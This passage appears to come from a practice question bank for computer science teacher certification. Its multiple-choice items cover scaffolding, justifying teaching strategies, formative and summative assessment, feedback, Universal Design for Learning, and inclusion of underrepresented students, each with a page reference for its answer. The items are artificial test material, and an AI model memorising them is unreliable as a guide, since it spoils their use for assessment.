D. Blocks are a helpful warm-up, and real programming begins when students type code.

Answer: page 1074

0005.d.8.5

A teacher is moving a class from block-based programs to Python. Students can use loops and conditionals in blocks but become anxious when they see text-based code. Which support best eases this move?

A. starting with advanced data structures, to show text's power

B. leaving blocks behind at once, so that students are not confused by two notations

C. having students memorize the language's keywords before they write code

D. showing block and text versions of the same program side by side

Answer: page 1074

Scaffolding

0005.d.9.1

A teacher gives students starter code for their first project that uses a web service, only an outline for the second, and nothing for the third. This progression best illustrates:

A. scaffolding, in which supports are removed as students gain independence.

B. decomposition, in which a problem is divided into smaller problems.

C. summative assessment, in which learning is evaluated at the end of a unit.

D. abstraction, in which details are hidden behind a simple interface.

Answer: page 1074

0005.d.9.2

Early in a unit, a teacher gives students a debugging checklist and sentence frames for explaining their code. As the unit proceeds, these supports should be:

A. given only to students with identified learning needs.

B. kept in place for the rest of the year.

C. added to steadily as the tasks become more complex.

D. removed gradually as students gain independence.

Answer: page 1074

0005.d.9.3

A teacher wants to give temporary support to students who have trouble finding the bugs in their own programs, without doing the work for them. Which option best fits this purpose?

A. a longer time limit for the same debugging assignment

B. a checklist of debugging steps that students work through

C. the teacher's corrected version of each student's program

D. a timed quiz on the names of common types of errors

Answer: page 1074

0005.d.9.4

A teacher gives students complete templates for every project throughout the year. By spring, students produce good work with templates, but they cannot begin a project without one. What has most likely gone wrong?

A. The supports were never gradually removed.

B. The projects were too difficult.

C. The templates were too detailed for this grade band.

D. The supports were withdrawn too early in the year.

Answer: page 1074

0005.d.9.5

A multilingual learner correctly traces loops but has difficulty explaining them in writing. In addition to teaching the vocabulary, which support is most appropriate?

A. a glossary of definitions to copy before writing

B. sentence frames such as “This loop repeats until ___.”

C. an exemption from written explanations, with tracing counted in their place

D. a longer writing assignment, so that fluency builds through more practice

Answer: page 1074

0005.e Explaining how a strategy works

Read about this in the content summary: 0005.e, page 170.

Linking strategy to objective

0005.e.1.1

A candidate’s objective is that students write a loop totaling the values in an array. The plan states, “Students work in pairs at one computer and share results at the end.” Which revision best explains how the activity supports the objective?

A. Partners begin with a short warm-up and share results with the class.

B. Partners use the newest laptops, which keeps the class interested throughout the period.

C. Partners trace the running total through each pass, then write the loop.

D. Partners rotate at the keyboard at set intervals so that both stay engaged.

Answer: page 1074

0005.e.1.2

A mentor reads a candidate’s explanation that lists the materials, the grouping, and the time for an activity, but never says what students learn from it. Which addition would most improve the explanation?

A. a statement of which part of the objective students’ actions develop

B. a more precise schedule showing how many minutes each step will take

C. a fuller list of the devices and handouts that the class will need

D. a diagram of how the pairs will be seated in the room

Answer: page 1074

0005.e.1.3

A candidate’s objective is that students identify bias in data sets. Which description of an activity has the clearest link to this objective?

A. Students create a colorful poster on the role of data in society.

B. Students compare two data sets on one topic and explain who is underrepresented.

C. Students enter survey responses into a spreadsheet and calculate each question's average.

D. Students take turns reading aloud a textbook chapter on the history of data collection.

Answer: page 1074

0005.e.1.4

An administrator reviewing a unit plan finds the justification "Students will enjoy building games, and enjoyment keeps them in class." Why does this fall short as an explanation of how the activity supports the objective?

A. It is too brief, and a longer sentence on enjoyment would be sufficient.

B. It relies on enjoyment, which has no real influence on how much students learn from a lesson.

C. It does not say what students do or which part of the objective that develops.

D. It names games, which cannot be tied to an objective.

Answer: page 1074

0005.e.1.5

A reviewer comments that a candidate's plan "describes what the class will do, but not why." Which sentence added to the plan best answers the comment?

A. "Students will compare the two versions for ten minutes and record observations."

B. "The teacher will circulate during the comparison to observe and answer questions."

C. "Students will return to their desks afterward and take out notebooks."

D. "Comparing the two versions shows students how parameters allow one function to be reused, which is the objective."

Answer: page 1074

Justifying with how students learn

0005.e.2.1

A teacher plans to have novices trace a short program by hand before writing a similar one. Which rationale best explains how this sequence helps?

A. Tracing is the traditional way to begin a programming lesson.

B. Tracing gives students a quiet task, which calms the room before writing begins.

C. Tracing builds a model of how code runs before students must also produce syntax.

D. Tracing is powerful, because students learn programming best when they are actively engaged in class.

Answer: page 1074

0005.e.2.2

Two candidates justify having students explain code to a partner. Candidate 1 writes, "It is a popular strategy." Candidate 2 writes, "Saying the reasoning aloud makes gaps in it audible." Which comparison is accurate?

A. Candidate 2 gives a mechanism, while Candidate 1 gives popularity, which does not explain the benefit.

B. Both are equally strong, because each states a reason a reader could accept.

C. Candidate 1 is stronger, because a strategy that is widely used has been shown to work in many classes.

D. Candidate 2 is weaker, because explaining aloud only helps students who already understand.

Answer: page 1075

0005.e.2.3

A candidate assigns a Parsons problem, in which students order scrambled lines of code, before a lesson on writing conditionals from scratch. Which explanation best describes why this helps at this point?

A. It stands in for the writing task, so students produce little code of their own.

B. It gives faster students a puzzle to finish early, which keeps them occupied.

C. It leads the students to reach the same solution, which then guides the writing.

D. It shifts attention to the logic and order of the code.

Answer: page 1075

0005.e.2.4

A candidate's plan says, "Students learn by doing, so the pairs will debug a program together." A reviewer asks for a stronger rationale. Which revision best responds?

A. Debugging is a familiar routine in many classrooms, so students will find the task easy to begin.

B. Debugging in pairs lets students share one computer, which uses equipment efficiently.

C. Debugging applies the principle that students learn by doing, which most teachers accept.

D. Debugging in pairs makes students state a hypothesis about the fault, so mistaken ideas about the code surface.

Answer: page 1075

0005.e.2.5

A teacher wants to show colleagues why having students sketch a flowchart before coding supports learning. Which statement gives the strongest justification?

A. Planning the flow of decisions on paper separates logic from syntax.

B. Flowcharts appear in most introductory textbooks, so students will recognize them.

C. Students who sketch a flowchart finish their programs more quickly.

D. Flowcharts are attractive visual aids that improve the classroom walls.

Answer: page 1075

Addressing an anticipated misconception

0005.e.3.1

A candidate expects that students will believe a loop body runs only once. Which sentence in the lesson plan best explains how an activity addresses this expectation?

A. “Students write loops in pairs, so that a partner can correct mistaken ideas.”

B. “Students complete several loop exercises, which addresses the misconceptions novices hold about loops.”

C. “The teacher explains again how loops work, and students then practice with exercises.”

D. “Students trace a loop through three passes, recording the changing total, which contradicts the idea of a single pass.”

Answer: page 1075

0005.e.3.2

Students predict the output of the program below. One student writes, “This cannot run, because no number equals itself plus one.” The teacher wants the activity to confront this idea.

```
01 int x = 4
02 x = x + 1
03 output(x)
```

Which next step best uses the prediction to address the misconception?

A. Assign ten further problems on assignment statements for the student to complete tonight.

B. Tell the student that the equals sign means assignment in programming, then move on to the next topic.

C. Have the student run the program and explain why the output differs from the prediction.

D. Ask a classmate who predicted correctly to explain the answer to everyone.

Answer: page 1075

0005.e.3.3

A teacher has students predict the values stored at certain positions of an array and then print them. Several students expected the first position to be numbered 1. Why is this design effective at addressing that idea?

A. The printed values show the correct numbering, which students will remember after seeing it.

B. Predicting before printing makes students more careful, so they guess less in the future.

C. A wrong prediction meets contradicting evidence on screen, so students revise the idea themselves.

D. The activity avoids discussion of the error, so students are not embarrassed by it.

Answer: page 1075

0005.e.3.4

A candidate writes that an activity “addresses misconceptions about loops.” A mentor asks for a revision. Which request would most improve the explanation?

A. Explain why loop misconceptions are more common than conditional misconceptions.

B. Add the number of misconceptions students are expected to hold on the topic.

C. Name the specific mistaken idea the activity is designed to expose.

D. State how many loop exercises students will finish during the period.

Answer: page 1075

0005.e.3.5

A teacher expects students to think that after int b = a, changing a also changes b. Which activity is best matched to this expected idea?

A. Students write a program that declares ten variables and gives each a value.

B. Students memorize the syntax for declaring integer variables and copy several examples from the board.

C. Students predict b after a later assignment changes a, then trace the program to compare.

D. Students draw a picture of a computer, labeling the memory and the processor.

Answer: page 1075

Showing progression toward independence

0005.e.4.1

A lesson plan has the teacher model a loop on the board, then students complete a similar loop in pairs with feedback, then a final task on their own. Which statement best explains why the sequence is effective?

A. Each stage repeats the same example, which strengthens memory of the solution.

B. Variety in the format keeps students from becoming bored during a long period.

C. Support is reduced in stages, so that students can show the skill without help by the end.

D. The final task reveals which pair finished first, so the teacher can reward it.

Answer: page 1075

0005.e.4.2

A teacher ends a lesson on conditionals with an independent task. Which task best demonstrates that students can perform the skill on their own?

A. Writing a conditional for a situation not yet seen in class, with no hints available

B. Rewriting the conditional that the teacher modeled at the start, using different variable names and the same logic

C. Completing the partner exercise again, with the teacher's hints on the page

D. Copying a finished conditional from the board and explaining each part

Answer: page 1075

0005.e.4.3

A lesson has students build a program in groups of four and submit one product for each group. The objective is that each student can write the code independently. What is the main weakness of the lesson?

A. The lesson gives students too much support by letting them work with peers.

B. Groups of four are too large for most members to take part in the work.

C. The submitted product is a program, which is a poor way to show understanding.

D. The group product does not show what each student can do alone.

Answer: page 1075

0005.e.4.4

During the guided stage of a lesson, students write code in pairs while the teacher circulates and gives feedback. What is the primary function of this stage?

A. It fills the time between the demonstration and the end of class.

B. It lets students do the work themselves while support remains close at hand.

C. It replaces the modeling that took place at the start of the lesson.

D. It confirms that every student can already perform the skill without help from the teacher or a partner.

Answer: page 1075

0005.e.4.5

A candidate plans three stages: a teacher demonstration, a pair task with a worked example beside it, and a final task that includes the same worked example. Why does the plan fail to show progression toward independence?

A. The demonstration is too long to leave time for the later tasks.

B. The pair task should have come before the demonstration in the order of stages.

C. The final task asks for too much from students who have had one demonstration.

D. The final task keeps the support in place, so it cannot show the skill alone.

Answer: page 1075

0005.f Assessment

Read about this in the content summary: 0005.f, page 172.

Formative and summative assessment

0005.f.1.1

A teacher reads students' end-of-lesson answers each afternoon to decide what to review the next day, and grades a final project at the end of the unit. Which statement correctly describes these two assessments?

A. The daily answers guide next steps during learning, and the project evaluates learning at the end.

B. Both assessments gather evidence of learning, so both serve exactly the same purpose in the unit and could be swapped.

C. The daily answers are summative because they are collected on paper, and the project is formative because it takes weeks to complete.

D. The daily answers are given before the unit and the project after it, to measure growth.

Answer: page 1076

0005.f.1.2

A teacher gives the same ten-question quiz twice. In the first class the results shape the next day's lesson. In the second class the scores are recorded as the unit grade. Which statement is accurate?

A. The second class used a better assessment, because a graded quiz gathers more dependable evidence.

B. The quiz is formative in both classes, because its questions were identical in each.

C. The use of the results, not the quiz itself, determines which kind of assessment each class had.

D. The quiz is summative in both classes, because a quiz produces scores that could be graded.

Answer: page 1076

0005.f.1.3

A teacher counts every exit ticket heavily toward the unit grade. Students begin copying answers from neighbors, and the tickets no longer show who is confused. Which change would most restore their value for planning?

A. Make the tickets longer, so that copying a neighbor's whole answer becomes harder to do.

B. Use the tickets as low-stakes evidence for planning and not for grades.

C. Collect the tickets earlier in the period, when students are more alert and focused.

D. Assign the tickets as homework, where the teacher can count them as a larger share of the grade.

Answer: page 1076

0005.f.1.4

Midway through a lesson on loops, a teacher wants evidence of whether students can follow a loop's execution, in order to decide whether to extend the lesson to tomorrow. Which assessment best serves this need?

A. an end-of-semester exam covering every topic in the course, scored after the term

B. a rubric-scored project due at the end of the unit, three weeks from now

C. a short question asking students to trace a loop, reviewed before the period ends

D. a state-level test taken in the spring and returned in the summer

Answer: page 1076

0005.f.1.5

A teacher grades every practice worksheet for accuracy and averages the scores into the final grade. Students begin attempting only problems they are sure of. What is the most likely cause?

A. Students do not understand how averages are calculated for the final grade.

B. Practice should never be reviewed by the teacher, because students dislike being watched.

C. Grading practice turns it into a high-stakes assessment that discourages honest attempts.

D. Worksheets are too easy, so students do not feel challenged by the problems.

Answer: page 1076

Formative tools in CS

0005.f.2.1

A teacher wants to see how students test, debug, and divide the work while they program in pairs, practices that a written test would not capture. Which tool is best suited to this purpose?

A. a grade on the finished program, based only on whether it runs

B. a survey asking students how confident they felt about the pair work

C. a vocabulary test given at the end of the week

D. observation using a checklist of practices as pairs work

Answer: page 1076

0005.f.2.2

At the end of a lesson on loops, a teacher wants a quick check of whether each student can follow a loop. Which task, collected as students leave, best serves this purpose?

A. a request to copy the notes from the board into the notebook

B. a rating of how much each student enjoyed the lesson, from one to five

C. a longer program to write at home, due at the start of next week

D. one question asking what a short loop prints, read before tomorrow

Answer: page 1076

0005.f.2.3

An automatic grader reports that a student's program passes every test, but the teacher doubts that the student understands why it works. Which additional step would most directly address this doubt?

A. asking the student to explain the program aloud and answer questions about it

B. assigning the student a second program on the same topic, to be graded automatically

C. running the program again on additional test cases supplied by the grader

D. comparing the student's score with the class average on the same set of tests

Answer: page 1076

0005.f.2.4

During a project, students read one another's code and write comments on it before the final version is due. What is the main benefit of this practice for the learners?

A. It replaces the teacher's feedback, so the teacher no longer needs to read the code.

B. It gives students feedback while the work is under way and can still be changed.

C. It lets students identify the best programmer in the class, to serve as a model.

D. It assigns each student a grade based on the comments their code receives.

Answer: page 1076

0005.f.2.5

A teacher wants to check whether students understand the order of statements in a procedure, without errors in spelling or punctuation affecting the result. Which task best serves this purpose?

A. defining each keyword used in the procedure in a short written answer

B. writing the whole procedure from a blank page in the editor

C. correcting a misspelled keyword in a procedure that is otherwise correct

D. arranging scrambled lines of a working program into the correct order

Answer: page 1076

Rubrics for programming projects

0005.f.3.1

A teacher scores projects with a rubric that awards all of its points for a program that passes the tests. One student submits a passing program that is nearly impossible to read. What does this reveal about the rubric?

A. It is too strict, because it gives no credit to programs that fail the tests.

B. It lacks a total score, which would allow readable programs to be ranked.

C. It does not assess readability or design, because every point depends on the program running.

D. It is working as intended, because a program that runs has met every goal of the course.

Answer: page 1076

0005.f.3.2

A rubric for a project lists the criterion "creativity" with no description of what it looks like at any level. Two teachers score the same project differently. Which revision would best improve consistency?

A. Replace the criterion with an overall impression score from zero to ten.

B. Define what each level of the criterion looks like in observable terms.

C. Remove the criterion so that projects are scored on whether they run.

D. Have the more experienced of the two teachers score the projects.

Answer: page 1076

0005.f.3.3

A teacher has prepared a rubric and two sample projects at different quality levels for a coming assignment. When should the teacher share them with students to best support their learning?

A. before the work begins, so that students can see what quality looks like

B. at the midpoint, once students have already settled on their own approach

C. after the projects are graded, so that students can compare their scores

D. only for students who ask, so that the rest are not influenced by the samples

Answer: page 1076

0005.f.3.4

A student's program fails several tests, but its structure is well organized, and the student kept a clear record of how each bug was found. Which rubric design would best capture this work?

A. a pass or fail judgment, based on whether the program meets the assignment

B. separate scores for functionality, design, readability, and process

C. one score reflecting the fraction of tests that the program passes

D. a score that averages the student's grade with the class mean on the project

Answer: page 1076

0005.f.3.5

A department's project rubric describes quality in terms of "professional polish" without examples. Students from families unfamiliar with the field score lower on it. What is the most likely explanation?

A. Students from these families have less ability in programming than their classmates.

B. Rubrics are unsuited to projects, so any rubric would produce this difference.

C. The rubric is too detailed, which confuses students who are new to the field.

D. The vague criterion favors students who already know the unstated expectations.

Answer: page 1076

Authentic project assessment

0005.f.4.1

In a group project, one member appears to have written most of the code. The teacher wants to learn what each member understands. Which method would be most informative?

A. a count of the lines that each student typed, taken from the editor's history

B. an individual walkthrough in which each student explains and modifies code

C. a single grade for the group's finished product, shared equally by every member

D. a vote among group members on who contributed the most to the program

Answer: page 1076

0005.f.4.2

A teacher suspects that a submitted program was not written by the student who submitted it. Which response checks the student's understanding without making assumptions?

A. asking the student to rewrite the whole program from memory on the next day

B. comparing the program with the work of every other student in the class

C. giving the student a failing grade on the program until the student admits to copying

D. asking the student to walk through the code and make a small change to it

Answer: page 1077

0005.f.4.3

At the end of a project, a teacher wants each student's reflection to reveal both the process followed and the student's awareness of their own thinking. Which prompt best serves this purpose?

A. State how many hours you spent writing the program and how long you spent testing it.

B. Describe a bug you found, how you diagnosed it, and what you would do differently.

C. List the features of your program in the order that they appear on the screen.

D. Explain why your program is better than those of the other students.

Answer: page 1077

0005.f.4.4

A teacher assesses a unit only by grading the final programs students submit. Why does this approach limit what the teacher can learn?

A. Final programs vary in length, which makes scoring them unfair.

B. A finished program can hide how it was made and what its maker understands.

C. Students are less motivated when work is graded at the end of a unit.

D. Programs are too long for a teacher to read with care.

Answer: page 1077

0005.f.4.5

A teacher worries that students may submit code produced by a generative artificial intelligence tool. Which assessment feature gives the most reliable evidence of individual understanding?

A. an automatic check of the final program against a larger set of tests

B. greater weight on explanations, process, and live modification of code

C. a longer final program, which is harder for a tool to produce without errors

D. a rule that students must write all code on paper before they use a computer

Answer: page 1077

Using data to adjust instruction

0005.f.5.1

On a nested-loop question, most students' answers show that the inner loop is believed to run only once in total. Which decision does the pattern best support?

A. offering an extension to the whole class, so that the strongest students stay engaged

B. assigning the same question again on tomorrow's quiz, to give students a second chance

C. moving on to the next unit, since the question concerned only one topic

D. reteaching how the inner loop runs for each pass of the outer loop, using tracing

Answer: page 1077

0005.f.5.2

On a quiz about boundary cases, six of twenty-eight students miss most of the questions, and the rest answer almost all of them correctly. Which plan responds best to this evidence?

A. no change, because the average score for the class is above the passing mark

B. an extension for the six, since they will need more challenge to keep up

C. a whole-class review of boundary cases, repeated until every student has passed

D. a small-group lesson on boundaries for those six, with an extension for the rest

Answer: page 1077

0005.f.5.3

Nearly every student in a class misses the same quiz question. The teacher reviews the answers and finds that students gave many different wrong responses. What should the teacher conclude first?

A. The whole class failed to learn the topic and must be taught it again.

B. The class is weaker than previous classes at this stage of the course.

C. The question should be counted, because it separates strong students from weak ones.

D. The question or the instruction before it may have been flawed.

Answer: page 1077

0005.f.5.4

A class's total scores on a programming unit are high. When the teacher separates the results by role in group projects, students who always took the documentation role score much lower on code questions. What does this show?

A. The unit was successful, because the totals reached the class goal.

B. Group roles may be affecting who learns to code, which the totals hide.

C. The students in the documentation role are less capable at programming.

D. The code questions were unfair, since they did not test documentation skills.

Answer: page 1077

0005.f.5.5

After a quiz, about half the class answers nearly every question correctly, and the other half misses the same two ideas. Which response best uses this evidence?

A. teaching the same lesson again to everyone, so that the class stays together

B. giving the half that missed the ideas an easier unit for the remainder of the term

C. assigning the quiz as homework so that students who missed ideas can look them up

D. regrouping students, with reteaching for one half and an extension for the other

Answer: page 1077

Feedback that supports learning

0005.f.6.1

A teacher reviews a student's loop that works for typical input. Which comment on the student's work is the most effective feedback?

A. "Good job on this one. Keep up the strong work as you move on to the next topic."

B. "Check your edge cases before you submit programs, since they are often incomplete."

C. "This loop is better than those of most students in the class, so you can relax."

D. "Your loop works for typical input. Try an empty array and trace what happens to total / size."

Answer: page 1077

0005.f.6.2

A student has used the variable name d for the number of days, and the teacher wants to comment on it. Which comment is directed at the work and not at the person?

A. "This variable name hides its purpose; try one that says what it holds."

B. "Most students in this class choose much clearer names than you did."

C. "You are careless with names, and readers cannot follow your programs."

D. "Names do not matter much, so do not worry about this one."

Answer: page 1077

0005.f.6.3

A teacher can give detailed comments on a project either while students are drafting it or after the final submission. Which choice better supports learning, and why?

A. Comments after submission, because the work is then complete and can be judged fairly

B. Comments after submission, because students read feedback more carefully once grades are posted

C. Comments on drafts, because students can still act on them and revise the work

D. Neither, because students learn more from finding their own mistakes without comments

Answer: page 1077

0005.f.6.4

A teacher tells the class about a bug that took an hour to find in the teacher's own code, and awards credit to students for explaining how they diagnosed errors. How does this practice most support learning?

A. It shows students that the teacher makes more errors than they will, so they feel relieved.

B. It treats errors as information and a normal part of programming, which encourages persistence.

C. It reduces the number of errors that students make, because they fear public attention.

D. It replaces feedback on the code, since students learn only from the teacher's mistakes.

Answer: page 1077

0005.f.6.5

A student receives the comment "Check your edge cases" on three consecutive projects and makes no change. Why is this comment unlikely to help?

A. It is not specific, and it does not tell the student what to try.

B. It focuses on the code, and feedback should be directed at the person.

C. It treats the errors as normal, which makes students take them too lightly.

D. It is too timely, and a delay would give the student time to think.

Answer: page 1077

0005.g Inclusion and equity

Read about this in the content summary: 0005.g, page 174.

Asset-based perspective

0005.g.1.1

A teacher's planning notes for a new class read, "These students have no technology background." A mentor suggests rewording. Which revision best reflects an asset-based perspective?

A. "These students are behind others and will need remedial work before new learning."

B. "These students should not be expected to meet the standards set for other classes."

C. "These students have experience with phones and games, and they are new to programming."

D. "These students come from homes that do not value technology as other families do."

Answer: page 1078

0005.g.1.2

A teacher notices that a student often switches between Spanish and English while discussing code with a partner. Which response best reflects an asset-based perspective?

A. placing the student in an easier course until the student's English has improved considerably

B. encouraging both languages for reasoning about code while building technical vocabulary

C. having the partner speak for the pair so that the student can focus on typing the code

D. requiring English during programming so that the habit of switching will be corrected

Answer: page 1078

0005.g.1.3

A teacher decides to simplify a course for a group of students, reasoning that they would struggle with the standard material. Why does this conflict with an asset-based perspective?

A. It assumes limited ability instead of building on strengths with high expectations.

B. It gives the students' strengths so much attention that the standard material is neglected.

C. It treats all students in the course alike, which is not permitted.

D. It lets the teacher reduce the amount of planning that the course requires.

Answer: page 1078

0005.g.1.4

A student who plays music and draws shows little interest in a unit on sorting algorithms. Which action by the teacher best values this student's interests while keeping the learning goals?

A. excusing the student from the unit until a more traditional interest develops

B. assigning extra sorting exercises to make up for the missing interest

C. telling the student that art and music have little to do with computer science or its careers

D. offering a choice of projects, including one that generates patterns of sound

Answer: page 1078

0005.g.1.5

A teacher writes, "Because these students come from homes without computers, they lack the habits needed for programming, and my job is to repair that." Which belief does this statement most clearly reflect?

A. that high expectations are unfair to students with less experience

B. that students' backgrounds should be the foundation for the lessons

C. that computer ownership is the best predictor of success in programming

D. that students' backgrounds are deficits for a teacher to fix

Answer: page 1078

Historical underrepresentation in CS

0005.g.2.1

A school adds an introductory computer science course, and after one year the class is almost entirely one demographic group. Which response is most likely to change the enrollment?

A. adding a prerequisite test so that only the best-prepared students may enroll in the course

B. concluding that students from other groups are simply not interested in the subject

C. waiting a second year, since enrollment usually evens out once a course is established

D. examining the course's advertising, the recruitment of students, and the classroom culture

Answer: page 1078

0005.g.2.2

A school requires a teacher's recommendation to enroll in advanced computing. Most recommendations go to students who already resemble the school's image of a programmer. What is the best response?

A. keeping the requirement, since teachers know which students are ready

B. removing the requirement and recruiting broadly from all of the school's students

C. training teachers to write recommendations with more care about wording

D. limiting enrollment to students with the strongest grades, as the next safeguard

Answer: page 1078

0005.g.2.3

A counselor explains that few girls enroll in computing courses because "they simply choose other subjects." Which statement most accurately corrects this explanation?

A. Girls choose freely, and it is the schools' task to respect their decisions.

B. Choices are shaped by access, encouragement, and images of who belongs in the field.

C. Girls have less ability in the subject, so their choices are sensible ones to make.

D. Girls are not interested in computing, which is a preference that does not change over time.

Answer: page 1078

0005.g.2.4

A district finds that one low-income school offers no computing courses, and many of its students lack devices and internet service at home. Which statement best describes what this finding shows?

A. The school's students have shown a lack of interest in the subject area.

B. Low-income students tend to have less aptitude for computing than other students.

C. Access matters only for students with disabilities, who need accessible tools.

D. Unequal access can contribute to underrepresentation of low-income students.

Answer: page 1078

0005.g.2.5

A principal says, "Girls, Black, Latino, and Indigenous students and students with disabilities are underrepresented in computing because they have less ability for it." What is the most accurate response?

A. The underrepresentation is a recent development caused by new technology.

B. The statement is correct for most of these groups, but not for students with disabilities.

C. The statement is a stereotype in itself, which means that there is no gap in representation.

D. Underrepresentation reflects unequal access and stereotypes about who belongs, not ability.

Answer: page 1078

Universal Design for Learning

0005.g.3.1

In a unit on functions, a teacher presents each idea as a short video, a labeled diagram, and a runnable example of the same code. Which Universal Design for Learning principle does this most directly apply?

A. multiple means of action and expression

B. multiple means of representation

C. multiple means of assessment

D. multiple means of engagement

Answer: page 1078

0005.g.3.2

At the end of a unit, students may show what they know by drawing a flowchart, recording an explanation of their code, or submitting a working program. Which principle does this option most directly apply?

A. multiple means of engagement

B. multiple means of action and expression

C. multiple means of differentiation

D. multiple means of representation of content

Answer: page 1078

0005.g.3.3

A teacher designs every lesson for an imagined typical student, then adds accommodations when a student's needs become known. Which change would bring the approach closest to Universal Design for Learning?

A. planning the lessons from the start with several ways to engage, present, and respond

B. designing for the students with the greatest needs, then asking others to adapt

C. offering a single alternative version of each lesson to any student who requests one

D. keeping the design and adding accommodations more quickly after needs are identified

Answer: page 1078

0005.g.3.4

A teacher lets students pick the topic of their data project from a list and decide whether to work alone or with a partner. Which part of a Universal Design for Learning plan do these choices serve?

A. representation, by presenting the content in more than one format

B. action and expression, by letting students show learning in different ways

C. accommodation, by providing the support that is required in a student's written plan

D. engagement, by drawing students into the learning and sustaining them in it

Answer: page 1078

0005.g.3.5

A teacher adds captions and transcripts to every instructional video for one student who is deaf. Several multilingual learners and students working in noisy rooms use them as well. What does this best illustrate?

A. Supports planned for variety often help students beyond those they were designed for.

B. Accommodations written for one student should be given to the whole class.

C. Captions are the most effective support available for multilingual learners.

D. Students with documented needs should not be given additional support.

Answer: page 1078

Supporting students with disabilities

0005.g.4.1

A student's Individualized Education Program (IEP) lists extended time and a quiet space for assessments. A teacher regards these as helpful suggestions to be used when convenient. What should the teacher do?

A. use them as a starting point and replace those that disrupt the class

B. follow them when the student asks for them during a test

C. follow them, because the IEP is a legally binding document for the teacher

D. apply them to the whole class, so that no one is treated differently

Answer: page 1078

0005.g.4.2

A student with difficulty sustaining attention is given a semester project in one assignment with a single due date. Which change would best support the student without lowering the target skills?

A. shortening the project so that it covers fewer of the target skills it was meant to assess

B. excusing the student from the project in favor of a worksheet

C. pairing the student with a classmate who will complete most of the work

D. dividing the project into checkpoints with a checklist and extended deadlines

Answer: page 1078

0005.g.4.3

A student who is blind will join a programming course in which students use a graphical editor. Which step would the teacher take first to provide access?

A. placing the student in a different course that has no computer work in it

B. choosing a screen-reader-compatible environment, with support staff

C. providing printed screenshots of the editor for the student to study at home

D. having a classmate narrate the screen throughout each of the lessons in the course

Answer: page 1079

0005.g.4.4

Which plan for a student with a disability provides access to the goal of a unit on conditionals without lowering the goal?

A. The student is graded on effort, and the standard for conditionals is not applied.

B. The student writes the same conditionals, using a screen magnifier and extra time.

C. The student writes one conditional, and the other tasks are removed.

D. The student identifies conditionals in finished programs instead of writing them.

Answer: page 1079

0005.g.4.5

A teacher offers a student with a 504 plan a choice of presenting a program orally, writing a short report, or demonstrating it live. Why does this choice fit the guidance for students with disabilities?

A. It replaces the plan, since offering a choice makes the written plan unnecessary for the student.

B. It lowers the expectations, because oral work is easier than writing code.

C. It offers flexible ways of demonstrating learning, with the same target skills expected.

D. It is required for all students under Section 504, which mandates a uniform choice.

Answer: page 1079

Supporting multilingual learners

0005.g.5.1

A programming task asks students to total the points scored by players in a cricket match. A multilingual learner who has never seen the sport struggles to start. Which revision keeps the programming demand while removing the barrier?

A. placing the same totaling task in a familiar context, such as scores from a local game

B. giving the student a longer explanation of cricket rules in English

C. replacing the task with a simpler one that does not ask students to compute any total at all

D. allowing the student to skip the task, since the context is not part of the course

Answer: page 1079

0005.g.5.2

A student who is learning English writes comments in Portuguese beside the code while working out how a loop behaves. Which response by the teacher is most appropriate?

A. allowing the comments and adding English terms over time

B. asking the student to stop writing comments until English improves

C. ignoring the comments, since they cannot help with reasoning about code

D. requiring the comments to be rewritten in English before the code is accepted

Answer: page 1079

0005.g.5.3

A multilingual learner follows the loop example but is puzzled by the instruction “repeat the step for each item while the list is not empty.” Which explanation is most likely?

A. Words such as “for” and “while” have technical meanings that differ from everyday use.

B. The loop example is too long for multilingual learners to follow.

C. The word “list” has no technical meaning, so the instruction is hard to understand.

D. The student lacks the ability to understand repetition as a concept in programming at this stage of the course.

Answer: page 1079

0005.g.5.4

A teacher introducing the words “parameter” and “argument” to multilingual learners wants a strategy that supports understanding. Which approach best fits?

A. assigning a list of definitions for students to memorize before the lesson

B. using the words in a spoken lecture so that students hear them often

C. presenting the words in a short program with a diagram labeling each term

D. delaying the vocabulary until students have mastered English grammar

Answer: page 1079

0005.g.5.5

Students are asked to explain what a loop does, and several multilingual learners are silent. Which support would most help them contribute while keeping the demand?

A. reducing the question to asking what the word “loop” means

B. asking the students who volunteer to answer in the discussion

C. providing a partial sentence such as “The loop repeats until _____”

D. giving the same question in writing, with no further support or examples

Answer: page 1079

Belonging in the CS classroom

0005.g.6.1

A teacher decorates the classroom and chooses guest speakers for a computing course. Which choice best helps students from many backgrounds see themselves in the field?

A. posters and speakers showing varied backgrounds and a wide range of computing work

B. speakers chosen only from graduates of the school's own computing program in past years

C. posters of the best-known founders of the largest technology companies in the world

D. speakers who describe how they began programming in early childhood

Answer: page 1079

0005.g.6.2

Several students in a computing class say that "real programmers" start as children and never need help, and they avoid asking questions. Which teacher action best counters this view?

A. telling students that the view is untrue and then moving on directly to the lesson

B. sharing the varied paths of real professionals and treating questions as good practice

C. reserving questions for the end of class, so that the lessons are never interrupted by them

D. identifying the students who ask the fewest questions as examples of independence

Answer: page 1079

0005.g.6.3

A teacher asks students to suggest topics for programs that interest them, and then builds examples from their suggestions. Which purpose does this practice best serve?

A. reducing the amount of time that the teacher spends choosing examples for each lesson

B. showing students that computing is relevant to people with many different interests

C. selecting the most popular topic, which will then be used for the class projects

D. making the course easier by using topics that are well known to students

Answer: page 1079

0005.g.6.4

A teacher wants students to see that coding is not the only valuable contribution in a team project. Which classroom norm best supports this aim?

A. assigning the student with the most experience to write the code

B. grading the projects on the code that each team submits at the end

C. encouraging students to compete for the title of best programmer

D. recognizing designing, testing, and documenting as ways of taking part

Answer: page 1079

0005.g.6.5

A new student tells the teacher, “I see no one like me who does this.” The teacher decides to respond through classroom features and not only through conversation. Which is the most effective?

A. providing the student with extra practice so that skills will build confidence

B. suggesting that the student move to an elective in which more classmates share the student’s background

C. using projects, examples, and speakers that reflect varied backgrounds and interests

D. reminding the student that all students have equal opportunities in the class

Answer: page 1079

Equitable access and grouping

0005.g.7.1

In pair programming, a teacher observes that one student types throughout while the partner watches. Which change best addresses this pattern?

A. giving a group grade that rewards the pairs that finish their programs first in class

B. letting the pairs settle the matter themselves, since they will adjust in time

C. assigning defined roles that rotate, so that each student codes, tests, and documents

D. assigning the same roles to each student for the whole unit to build expertise

Answer: page 1079

0005.g.7.2

A teacher assigns a homework project that requires a high-speed internet connection, though some students have none at home. Which revision best keeps the same goal reachable for all?

A. allowing students without connections to submit the project one week late

B. requiring students without a connection to use a library or a neighbor's connection

C. providing class time, loaned equipment, or an offline version of the project

D. grading only those students who are able to complete the work at home

Answer: page 1079

0005.g.7.3

In whole-class discussions of code, the same four students answer nearly every question. Which strategy would most widen who participates?

A. having students discuss with a partner before sharing

B. calling only on the students who raise their hands first, as the discussion proceeds

C. asking a harder follow-up question of the students who have already answered

